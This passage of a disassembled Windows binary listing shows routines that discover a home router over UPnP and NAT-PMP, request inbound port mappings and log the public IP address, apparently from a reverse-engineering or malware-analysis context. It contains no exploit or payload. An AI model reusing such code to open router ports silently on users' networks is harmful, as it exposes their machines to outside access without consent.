[ebp+var_44] call sub_44292D pop ecx xor eax, eax jmp short loc_443CFA ; --------------------------------------------------------------------------- loc_443CA3: ; CODE XREF: sub_443A14+277j push offset a200 ; "200" push [ebp+var_4C] call sub_448EBB pop ecx pop ecx mov [ebp+var_464], eax test eax, eax jz short loc_443CC4 cmp eax, [ebp+var_460] jbe short loc_443CDA loc_443CC4: ; CODE XREF: sub_443A14+2A6j push [ebp+var_4C] call sub_4424E1 pop ecx push [ebp+var_44] call sub_44292D pop ecx xor eax, eax jmp short loc_443CFA ; --------------------------------------------------------------------------- loc_443CDA: ; CODE XREF: sub_443A14+2AEj push [ebp+var_44] call sub_44292D pop ecx lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_448E6B pop ecx pop ecx mov edx, [ebp+arg_8] mov [edx], di mov eax, [ebp+var_4C] loc_443CFA: ; CODE XREF: sub_443A14+3Cj ; sub_443A14+64j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443D01 proc near ; CODE XREF: sub_443F6D+50Fp ; sub_443F6D+53Dp var_2014 = dword ptr -2014h var_2010 = dword ptr -2010h var_200C = dword ptr -200Ch var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h arg_14 = word ptr 1Ch push ebp mov ebp, esp mov eax, 2014h call sub_448F2B push ebx push esi push edi movzx eax, [ebp+arg_10] push eax movzx eax, [ebp+arg_14] push eax push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"... lea eax, [ebp+var_2008] push eax call sub_448ABB add esp, 10h lea eax, [ebp+var_2008] push eax call sub_448E4B pop ecx mov [ebp+var_200C], eax cmp [ebp+arg_0], 0 jz short loc_443D6F push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"... lea eax, [ebp+var_1008] push eax call sub_448ABB add esp, 18h jmp short loc_443D94 ; --------------------------------------------------------------------------- loc_443D6F: ; CODE XREF: sub_443D01+45j push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"... lea eax, [ebp+var_1008] push eax call sub_448ABB add esp, 18h loc_443D94: ; CODE XREF: sub_443D01+6Cj lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push eax call sub_448E8B pop ecx pop ecx movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n" call sub_448A5B add esp, 0Ch call sub_4427C4 mov edi, eax test eax, eax jz loc_443F66 push [ebp+arg_4] call sub_448503 ; inet_addr movzx edx, [ebp+arg_8] push edx push eax push edi call sub_4429D2 add esp, 0Ch test eax, eax jnz short loc_443DF6 push edi call sub_44292D pop ecx xor eax, eax jmp loc_443F66 ; --------------------------------------------------------------------------- loc_443DF6: ; CODE XREF: sub_443D01+E5j lea eax, [ebp+var_1008] push eax call sub_448E4B pop ecx mov [ebp+var_4], eax push [ebp+var_4] lea eax, [ebp+var_1008] push eax push edi call sub_442BF2 add esp, 0Ch cmp eax, [ebp+var_4] jz short loc_443E2C push edi call sub_44292D pop ecx xor eax, eax jmp loc_443F66 ; --------------------------------------------------------------------------- loc_443E2C: ; CODE XREF: sub_443D01+11Bj push edi call sub_4439CD pop ecx push 10000h call sub_4424B3 pop ecx mov [ebp+var_8], eax push 0FFFFh push [ebp+var_8] push edi call sub_442B7E add esp, 0Ch mov [ebp+var_4], eax test eax, eax jnz short loc_443E8C push edi call sub_4429AD pop ecx mov [ebp+var_2014], eax cmp eax, 0FFFFh jle short loc_443E77 mov [ebp+var_2014], 0FFFFh loc_443E77: ; CODE XREF: sub_443D01+16Aj push [ebp+var_2014] push [ebp+var_8] push edi call sub_442B47 add esp, 0Ch mov [ebp+var_4], eax loc_443E8C: ; CODE XREF: sub_443D01+156j push [ebp+var_4] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "... call sub_448A5B add esp, 10h cmp [ebp+var_4], 1 jge short loc_443EC1 push [ebp+var_8] call sub_4424E1 pop ecx push edi call sub_44292D pop ecx xor eax, eax jmp loc_443F66 ; --------------------------------------------------------------------------- loc_443EC1: ; CODE XREF: sub_443D01+1A7j push offset asc_40F5EE ; "\n" push [ebp+var_8] call sub_448EBB pop ecx pop ecx mov [ebp+var_2010], eax test eax, eax jnz short loc_443EEE push [ebp+var_8] call sub_4424E1 pop ecx push edi call sub_44292D pop ecx xor eax, eax jmp short loc_443F66 ; --------------------------------------------------------------------------- loc_443EEE: ; CODE XREF: sub_443D01+1D7j mov ebx, [ebp+var_8] jmp short loc_443EF4 ; --------------------------------------------------------------------------- loc_443EF3: ; CODE XREF: sub_443D01+1FBj inc ebx loc_443EF4: ; CODE XREF: sub_443D01+1F0j mov al, [ebx] test al, al jz short loc_443EFE cmp al, 20h jnz short loc_443EF3 loc_443EFE: ; CODE XREF: sub_443D01+1F7j jmp short loc_443F01 ; --------------------------------------------------------------------------- loc_443F00: ; CODE XREF: sub_443D01+208j inc ebx loc_443F01: ; CODE XREF: sub_443D01:loc_443EFEj mov al, [ebx] test al, al jz short loc_443F0B cmp al, 20h jz short loc_443F00 loc_443F0B: ; CODE XREF: sub_443D01+204j xor esi, esi jmp short loc_443F1F ; --------------------------------------------------------------------------- loc_443F0F: ; CODE XREF: sub_443D01+22Aj lea esi, [esi+esi*4] add esi, esi movsx eax, byte ptr [ebx] sub eax, 30h add esi, eax inc ebx jmp short loc_443F2D ; --------------------------------------------------------------------------- loc_443F1F: ; CODE XREF: sub_443D01+20Cj mov al, [ebx] test al, al jz short loc_443F2D cmp al, 30h jl short loc_443F2D cmp al, 39h jle short loc_443F0F loc_443F2D: ; CODE XREF: sub_443D01+21Cj ; sub_443D01+222j ... push esi movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."... call sub_448A5B add esp, 10h cmp esi, 2 jz short loc_443F5C push [ebp+var_8] call sub_4424E1 pop ecx push edi call sub_44292D pop ecx xor eax, eax jmp short loc_443F66 ; --------------------------------------------------------------------------- loc_443F5C: ; CODE XREF: sub_443D01+245j push edi call sub_44292D pop ecx xor eax, eax inc eax loc_443F66: ; CODE XREF: sub_443D01+C6j ; sub_443D01+F0j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443F6D proc near ; CODE XREF: DMN1:00444A41p ; DMN1:0044629Ap var_18A0 = dword ptr -18A0h var_189C = byte ptr -189Ch var_188C = dword ptr -188Ch var_1888 = dword ptr -1888h var_1884 = dword ptr -1884h var_187E = byte ptr -187Eh var_183E = word ptr -183Eh var_183C = dword ptr -183Ch var_1838 = dword ptr -1838h var_1834 = dword ptr -1834h var_1830 = dword ptr -1830h var_182C = dword ptr -182Ch var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_181C = word ptr -181Ch var_181A = word ptr -181Ah var_1818 = dword ptr -1818h var_1809 = byte ptr -1809h var_1409 = byte ptr -1409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, 18A0h call sub_448F2B push ebx push esi push edi mov [ebp+var_1820], 3E8h cmp [ebp+arg_0], 0 jnz short loc_443F96 mov ax, [ebp+arg_4] mov [ebp+arg_0], ax loc_443F96: ; CODE XREF: sub_443F6D+1Fj push 10h push 0 lea eax, [ebp+var_181C] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_181C], 2 push offset a239_255_255_25 ; "239.255.255.250" call sub_448503 ; inet_addr mov [ebp+var_1818], eax push 76Ch call sub_4484D3 ; htons mov [ebp+var_181A], ax mov [ebp+var_404], 1 push 11h push 2 push 2 call sub_4484B5 ; socket mov [ebp+var_408], eax and [ebp+var_1828], 0 mov [ebp+var_1824], 1 push offset a239_255_255_25 ; "239.255.255.250" call sub_448503 ; inet_addr mov [ebp+var_1828], eax push 8 lea eax, [ebp+var_1828] push eax push 5 push 0 mov eax, [ebp+var_408] push eax call sub_4484BB ; setsockopt test eax, eax jge short loc_444037 push offset aShit ; "shit!\n" call sub_448A5B pop ecx loc_444037: ; CODE XREF: sub_443F6D+BDj lea eax, [ebp+var_181C] mov [ebp+var_182C], eax push 10h push [ebp+var_182C] mov eax, [ebp+var_408] push eax call sub_4484DF ; bind cmp eax, 0FFFFFFFFh jnz loc_4444ED push offset aXbind___ ; "xbind...\n" call sub_448A5B pop ecx jmp loc_4444ED ; --------------------------------------------------------------------------- loc_444070: ; CODE XREF: sub_443F6D+587j mov [ebp+var_1884], 10h push [ebp+var_404] push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"... call sub_448A5B pop ecx pop ecx push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... call sub_448E4B pop ecx push 10h lea edx, [ebp+var_181C] push edx push 0 push eax push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... mov eax, [ebp+var_408] push eax call sub_448521 ; sendto test eax, eax jge short loc_4440CB mov eax, [ebp+var_408] push eax call sub_4484C1 ; closesocket xor eax, eax jmp loc_444508 ; --------------------------------------------------------------------------- loc_4440CB: ; CODE XREF: sub_443F6D+149j push [ebp+var_404] push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."... call sub_448A5B pop ecx pop ecx push 4 lea eax, [ebp+var_1820] push eax push 1006h push 0FFFFh mov eax, [ebp+var_408] push eax call sub_4484BB ; setsockopt test eax, eax jge short loc_444113 mov eax, [ebp+var_408] push eax call sub_4484C1 ; closesocket xor eax, eax jmp loc_444508 ; --------------------------------------------------------------------------- loc_444113: ; CODE XREF: sub_443F6D+191j push [ebp+var_404] push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."... call sub_448A5B pop ecx pop ecx lea eax, [ebp+var_1884] push eax lea eax, [ebp+var_189C] push eax push 0 push 1000h lea eax, [ebp+var_1409] push eax mov eax, [ebp+var_408] push eax call sub_448527 ; recvfrom test eax, eax jge short loc_44417D call sub_44852D ; WSAGetLastError cmp eax, 274Ch jnz short loc_44416A cmp [ebp+var_404], 3 jnz loc_4444E7 loc_44416A: ; CODE XREF: sub_443F6D+1EEj mov eax, [ebp+var_408] push eax call sub_4484C1 ; closesocket xor eax, eax jmp loc_444508 ; --------------------------------------------------------------------------- loc_44417D: ; CODE XREF: sub_443F6D+1E2j mov eax, [ebp+var_1884] mov [ebp+eax+var_1409], 0 push [ebp+var_404] push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"... call sub_448A5B pop ecx pop ecx push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"... lea eax, [ebp+var_1409] push eax call sub_44397C pop ecx pop ecx test eax, eax jnz short loc_4441CB push [ebp+var_404] push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."... call sub_448A5B pop ecx pop ecx jmp loc_4444E7 ; --------------------------------------------------------------------------- loc_4441CB: ; CODE XREF: sub_443F6D+245j push offset aLocation ; "location" lea eax, [ebp+var_1409] push eax call sub_44397C pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_4441FC push [ebp+var_404] push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."... call sub_448A5B pop ecx pop ecx jmp loc_4444E7 ; --------------------------------------------------------------------------- loc_4441FB: ; CODE XREF: sub_443F6D+297j inc ebx loc_4441FC: ; CODE XREF: sub_443F6D+275j mov al, [ebx] test al, al jz short loc_444206 cmp al, 3Ah jnz short loc_4441FB loc_444206: ; CODE XREF: sub_443F6D+293j cmp byte ptr [ebx], 0 jz short loc_44420F inc ebx jmp short loc_44420F ; --------------------------------------------------------------------------- loc_44420E: ; CODE XREF: sub_443F6D+2AAj inc ebx loc_44420F: ; CODE XREF: sub_443F6D+29Cj ; sub_443F6D+29Fj mov al, [ebx] test al, al jz short loc_444219 cmp al, 20h jz short loc_44420E loc_444219: ; CODE XREF: sub_443F6D+2A6j lea eax, [ebp+var_1809] mov [ebp+var_1834], eax jmp short loc_444238 ; --------------------------------------------------------------------------- loc_444227: ; CODE XREF: sub_443F6D+2D3j mov edx, [ebp+var_1834] mov al, [ebx] mov [edx], al inc [ebp+var_1834] inc ebx loc_444238: ; CODE XREF: sub_443F6D+2B8j mov al, [ebx] test al, al jz short loc_444242 cmp al, 20h jg short loc_444227 loc_444242: ; CODE XREF: sub_443F6D+2CFj mov edx, [ebp+var_1834] mov byte ptr [edx], 0 lea eax, [ebp+var_1809] push eax call sub_448E4B pop ecx test eax, eax jnz short loc_444273 push [ebp+var_404] push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."... call sub_448A5B pop ecx pop ecx jmp loc_4444E7 ; --------------------------------------------------------------------------- loc_444273: ; CODE XREF: sub_443F6D+2EDj mov [ebp+var_183E], 0 lea eax, [ebp+var_1809] push eax push offset aLocationS ; "location: <%s>\n" call sub_448A5B pop ecx pop ecx lea eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax lea eax, [ebp+var_1809] push eax call sub_443A14 add esp, 0Ch mov [ebp+var_183C], eax test eax, eax jnz short loc_4442CD push [ebp+var_404] push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."... call sub_448A5B pop ecx pop ecx jmp loc_4444E7 ; --------------------------------------------------------------------------- loc_4442CD: ; CODE XREF: sub_443F6D+347j push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"... push [ebp+var_183C] call sub_44397C pop ecx pop ecx mov [ebp+var_188C], eax test eax, eax jnz short loc_4442FA push [ebp+var_183C] call sub_4424E1 pop ecx jmp loc_4444E7 ; --------------------------------------------------------------------------- loc_4442FA: ; CODE XREF: sub_443F6D+37Aj mov eax, [ebp+var_183C] mov [ebp+var_1830], eax loc_444306: ; CODE XREF: sub_443F6D+3CBj push offset aService_0 ; "<service>" push [ebp+var_1830] call sub_44397C pop ecx pop ecx mov [ebp+var_18A0], eax test eax, eax jz short loc_44432A cmp eax, [ebp+var_1830] jbe short loc_44432C loc_44432A: ; CODE XREF: sub_443F6D+3B3j jmp short loc_44433A ; --------------------------------------------------------------------------- loc_44432C: ; CODE XREF: sub_443F6D+3BBj mov eax, [ebp+var_18A0] mov [ebp+var_1830], eax jmp short loc_444306 ; --------------------------------------------------------------------------- loc_44433A: ; CODE XREF: sub_443F6D:loc_44432Aj push offset aService ; "</service>" push [ebp+var_1830] call sub_44397C pop ecx pop ecx mov [ebp+var_1888], eax test eax, eax jnz short loc_444367 push [ebp+var_183C] call sub_4424E1 pop ecx jmp loc_4444E7 ; --------------------------------------------------------------------------- loc_444367: ; CODE XREF: sub_443F6D+3E7j push offset aControlurl ; "<controlURL>" push [ebp+var_1830] call sub_44397C pop ecx pop ecx mov esi, eax test esi, esi jz short loc_444387 cmp esi, [ebp+var_1888] jb short loc_444398 loc_444387: ; CODE XREF: sub_443F6D+410j push [ebp+var_183C] call sub_4424E1 pop ecx jmp loc_4444E7 ; --------------------------------------------------------------------------- loc_444398: ; CODE XREF: sub_443F6D+418j push 400h push 0 lea eax, [ebp+var_400] push eax call sub_448DCB add esp, 0Ch jmp short loc_4443B1 ; --------------------------------------------------------------------------- loc_4443B0: ; CODE XREF: sub_443F6D+44Cj inc esi loc_4443B1: ; CODE XREF: sub_443F6D+441j mov al, [esi] test al, al jz short loc_4443BB cmp al, 3Eh jnz short loc_4443B0 loc_4443BB: ; CODE XREF: sub_443F6D+448j cmp byte ptr [esi], 0 jz short loc_4443C1 inc esi loc_4443C1: ; CODE XREF: sub_443F6D+451j cmp byte ptr [esi], 0 jnz short loc_4443D7 push [ebp+var_183C] call sub_4424E1 pop ecx jmp loc_4444E7 ; --------------------------------------------------------------------------- loc_4443D7: ; CODE XREF: sub_443F6D+457j and [ebp+var_1838], 0 jmp short loc_4443F6 ; --------------------------------------------------------------------------- loc_4443E0: ; CODE XREF: sub_443F6D+491j mov eax, [ebp+var_1838] mov dl, [esi] mov [ebp+eax+var_400], dl inc [ebp+var_1838] inc esi loc_4443F6: ; CODE XREF: sub_443F6D+471j mov al, [esi] test al, al jz short loc_444400 cmp al, 3Ch jnz short loc_4443E0 loc_444400: ; CODE XREF: sub_443F6D+48Dj mov eax, [ebp+var_1838] mov [ebp+eax+var_400], 0 push offset aHttp ; "http://" lea eax, [ebp+var_400] push eax call sub_44397C pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_444430 lea edi, [ebp+var_400] jmp short loc_444460 ; --------------------------------------------------------------------------- loc_44442F: ; CODE XREF: sub_443F6D+4CBj inc edi loc_444430: ; CODE XREF: sub_443F6D+4B8j mov al, [edi] test al, al jz short loc_44443A cmp al, 3Ah jnz short loc_44442F loc_44443A: ; CODE XREF: sub_443F6D+4C7j cmp byte ptr [edi], 0 jz short loc_444443 inc edi jmp short loc_444443 ; --------------------------------------------------------------------------- loc_444442: ; CODE XREF: sub_443F6D+4DEj inc edi loc_444443: ; CODE XREF: sub_443F6D+4D0j ; sub_443F6D+4D3j mov al, [edi] test al, al jz short loc_44444D cmp al, 2Fh jz short loc_444442 loc_44444D: ; CODE XREF: sub_443F6D+4DAj cmp byte ptr [edi], 0 jz short loc_444456 inc edi jmp short loc_444456 ; --------------------------------------------------------------------------- loc_444455: ; CODE XREF: sub_443F6D+4F1j inc edi loc_444456: ; CODE XREF: sub_443F6D+4E3j ; sub_443F6D+4E6j mov al, [edi] test al, al jz short loc_444460 cmp al, 2Fh jnz short loc_444455 loc_444460: ; CODE XREF: sub_443F6D+4C0j ; sub_443F6D+4EDj movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax push edi movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 0 call sub_443D01 add esp, 18h test eax, eax jnz short loc_4444C4 movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax lea eax, [ebp+var_400] push eax movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 1 call sub_443D01 add esp, 18h test eax, eax jnz short loc_4444C4 push [ebp+var_183C] call sub_4424E1 pop ecx jmp short loc_4444E7 ; --------------------------------------------------------------------------- loc_4444C4: ; CODE XREF: sub_443F6D+519j ; sub_443F6D+547j push [ebp+var_404] push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n" call sub_448A5B pop ecx pop ecx mov eax, [ebp+var_408] push eax call sub_4484C1 ; closesocket xor eax, eax inc eax jmp short loc_444508 ; --------------------------------------------------------------------------- loc_4444E7: ; CODE XREF: sub_443F6D+1F7j ; sub_443F6D+259j ... inc [ebp+var_404] loc_4444ED: ; CODE XREF: sub_443F6D+EDj ; sub_443F6D+FEj cmp [ebp+var_404], 3 jl loc_444070 mov eax, [ebp+var_408] push eax call sub_4484C1 ; closesocket xor eax, eax loc_444508: ; CODE XREF: sub_443F6D+159j ; sub_443F6D+1A1j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443F6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44450F proc near ; CODE XREF: sub_44457E+16p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi and [ebp+var_4], 0 xor esi, esi push 3Ch call sub_4424B3 pop ecx mov ebx, eax test eax, eax jz short loc_444578 push 0 lea eax, [ebp+var_4] push eax push ebx call sub_448533 ; GetIpForwardTable cmp eax, 7Ah jnz short loc_444553 push ebx call sub_4424E1 pop ecx mov eax, [ebp+var_4] push eax call sub_4424B3 pop ecx mov ebx, eax test eax, eax jz short loc_444578 loc_444553: ; CODE XREF: sub_44450F+2Bj push 0 lea eax, [ebp+var_4] push eax push ebx call sub_448533 ; GetIpForwardTable test eax, eax jnz short loc_44456F mov eax, [ebx] mov [ebp+var_8], eax test eax, eax jz short loc_44456F mov esi, [ebx+10h] loc_44456F: ; CODE XREF: sub_44450F+52j ; sub_44450F+5Bj push ebx call sub_4424E1 pop ecx mov eax, esi loc_444578: ; CODE XREF: sub_44450F+1Aj ; sub_44450F+42j pop esi pop ebx mov esp, ebp pop ebp retn sub_44450F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44457E proc near ; CODE XREF: DMN1:004449ECp ; DMN1:0044623Fp var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = word ptr -94h var_92 = word ptr -92h var_90 = dword ptr -90h var_84 = dword ptr -84h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_78 = byte ptr -78h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_9C], 0FAh call sub_44450F mov [ebp+var_84], eax test eax, eax jz loc_444786 mov [ebp+var_94], 2 mov eax, [ebp+var_84] mov [ebp+var_90], eax push 14E7h call sub_4484D3 ; htons mov [ebp+var_92], ax mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_44851B ; inet_ntoa push eax push offset aDefaultGateway ; "default gateway: [%s]\n" call sub_448A5B pop ecx pop ecx xor ebx, ebx inc ebx push 11h push 2 push 2 call sub_4484B5 ; socket mov esi, eax push 10h push 0 lea eax, [ebp+var_AC] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_AC], 2 mov eax, [ebp+var_84] mov [ebp+var_A8], eax push 14E7h call sub_4484D3 ; htons mov [ebp+var_AA], ax lea edi, [ebp+var_AC] push 10h push edi push esi call sub_4484DF ; bind jmp loc_444775 ; --------------------------------------------------------------------------- loc_444649: ; CODE XREF: sub_44457E+1FAj mov [ebp+var_C0], 10h push ebx push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n" call sub_448A5B pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 0 push 10h lea eax, [ebp+var_94] push eax push 0 push 2 lea eax, [ebp+var_80] push eax push esi call sub_448521 ; sendto test eax, eax jge short loc_444690 push esi call sub_4484C1 ; closesocket xor eax, eax jmp loc_444786 ; --------------------------------------------------------------------------- loc_444690: ; CODE XREF: sub_44457E+103j push ebx push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n" call sub_448A5B pop ecx pop ecx push 4 lea eax, [ebp+var_9C] push eax push 1006h push 0FFFFh push esi call sub_4484BB ; setsockopt test eax, eax jge short loc_4446C7 push esi call sub_4484C1 ; closesocket xor eax, eax jmp loc_444786 ; --------------------------------------------------------------------------- loc_4446C7: ; CODE XREF: sub_44457E+13Aj push ebx push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n" call sub_448A5B pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push esi call sub_448527 ; recvfrom test eax, eax jge short loc_44470F call sub_44852D ; WSAGetLastError cmp eax, 274Ch jnz short loc_444705 cmp ebx, 9 jnz short loc_44476E loc_444705: ; CODE XREF: sub_44457E+180j push esi call sub_4484C1 ; closesocket xor eax, eax jmp short loc_444786 ; --------------------------------------------------------------------------- loc_44470F: ; CODE XREF: sub_44457E+174j push ebx push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n" call sub_448A5B pop ecx pop ecx mov eax, [ebp+var_90] cmp [ebp+var_B8], eax jnz short loc_44476E push 4 lea eax, [ebp+var_78] push eax lea eax, [ebp+var_84] push eax call sub_448E2B add esp, 0Ch mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_44851B ; inet_ntoa push eax push ebx push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n" call sub_448A5B add esp, 0Ch push esi call sub_4484C1 ; closesocket mov eax, [ebp+var_84] jmp short loc_444786 ; --------------------------------------------------------------------------- loc_44476E: ; CODE XREF: sub_44457E+185j ; sub_44457E+1AAj inc ebx shl [ebp+var_9C], 1 loc_444775: ; CODE XREF: sub_44457E+C6j cmp ebx, 0Ah jl loc_444649 push esi call sub_4484C1 ; closesocket xor eax, eax loc_444786: ; CODE XREF: sub_44457E+23j ; sub_44457E+10Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44457E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44478D proc near ; CODE XREF: DMN1:00444A08p ; DMN1:0044625Ap var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = word ptr -0A4h var_A2 = word ptr -0A2h var_A0 = dword ptr -0A0h var_94 = dword ptr -94h var_90 = word ptr -90h var_8E = word ptr -8Eh var_8C = dword ptr -8Ch var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_7E = byte ptr -7Eh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_7A = byte ptr -7Ah var_78 = byte ptr -78h var_76 = byte ptr -76h var_75 = byte ptr -75h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_94], 0FAh mov [ebp+var_90], 2 mov eax, [ebp+arg_0] mov [ebp+var_8C], eax push 14E7h call sub_4484D3 ; htons mov [ebp+var_8E], ax mov eax, [ebp+arg_0] mov [ebp+var_A8], eax push eax call sub_44851B ; inet_ntoa push eax push offset aRouterIpS ; "router ip: [%s]\n" call sub_448A5B pop ecx pop ecx xor esi, esi inc esi push 11h push 2 push 2 call sub_4484B5 ; socket mov edi, eax push 10h push 0 lea eax, [ebp+var_A4] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_A4], 2 mov eax, [ebp+arg_0] mov [ebp+var_A0], eax push 14E7h call sub_4484D3 ; htons mov [ebp+var_A2], ax lea eax, [ebp+var_A4] mov [ebp+var_AC], eax push 10h push [ebp+var_AC] push edi call sub_4484DF ; bind jmp loc_4449BD ; --------------------------------------------------------------------------- loc_444847: ; CODE XREF: sub_44478D+233j mov [ebp+var_C0], 10h push esi push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n" call sub_448A5B pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 2 mov [ebp+var_7E], 0 mov [ebp+var_7D], 0 lea ebx, [ebp+var_7C] movzx eax, [ebp+arg_4] push eax call sub_4484D3 ; htons mov [ebx], ax lea ebx, [ebp+var_7A] movzx eax, [ebp+arg_8] push eax call sub_4484D3 ; htons mov [ebx], ax lea ebx, [ebp+var_78] mov word ptr [ebx], 0E10h mov [ebp+var_76], 0 mov [ebp+var_75], 0 push 10h lea eax, [ebp+var_90] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push edi call sub_448521 ; sendto test eax, eax jge short loc_4448C6 push edi call sub_4484C1 ; closesocket xor eax, eax jmp loc_4449CE ; --------------------------------------------------------------------------- loc_4448C6: ; CODE XREF: sub_44478D+12Aj push esi push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n" call sub_448A5B pop ecx pop ecx push 4 lea eax, [ebp+var_94] push eax push 1006h push 0FFFFh push edi call sub_4484BB ; setsockopt test eax, eax jge short loc_4448FD push edi call sub_4484C1 ; closesocket xor eax, eax jmp loc_4449CE ; --------------------------------------------------------------------------- loc_4448FD: ; CODE XREF: sub_44478D+161j push esi push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n" call sub_448A5B pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 10h lea eax, [ebp+var_80] push eax push edi call sub_448527 ; recvfrom test eax, eax jge short loc_444948 call sub_44852D ; WSAGetLastError cmp eax, 274Ch jnz short loc_44493B cmp esi, 9 jnz short loc_4449B6 loc_44493B: ; CODE XREF: sub_44478D+1A7j push edi call sub_4484C1 ; closesocket xor eax, eax jmp loc_4449CE ; --------------------------------------------------------------------------- loc_444948: ; CODE XREF: sub_44478D+19Bj push esi push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n" call sub_448A5B pop ecx pop ecx mov eax, [ebp+var_8C] cmp [ebp+var_B8], eax jnz short loc_4449B6 cmp [ebp+var_7F], 82h jnz short loc_4449B6 lea ebx, [ebp+var_7E] cmp word ptr [ebx], 0 jnz short loc_4449B6 lea ebx, [ebp+var_78] movzx eax, [ebp+arg_4] push eax call sub_4484D3 ; htons cmp [ebx], ax jnz short loc_4449B6 lea ebx, [ebp+var_76] movzx eax, word ptr [ebx] push eax call sub_4484F1 ; htons movzx eax, ax push eax push esi push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n" call sub_448A5B add esp, 0Ch push edi call sub_4484C1 ; closesocket movzx eax, word ptr [ebx] push eax call sub_4484D3 ; htons movzx eax, ax jmp short loc_4449CE ; --------------------------------------------------------------------------- loc_4449B6: ; CODE XREF: sub_44478D+1ACj ; sub_44478D+1D4j ... inc esi shl [ebp+var_94], 1 loc_4449BD: ; CODE XREF: sub_44478D+B5j cmp esi, 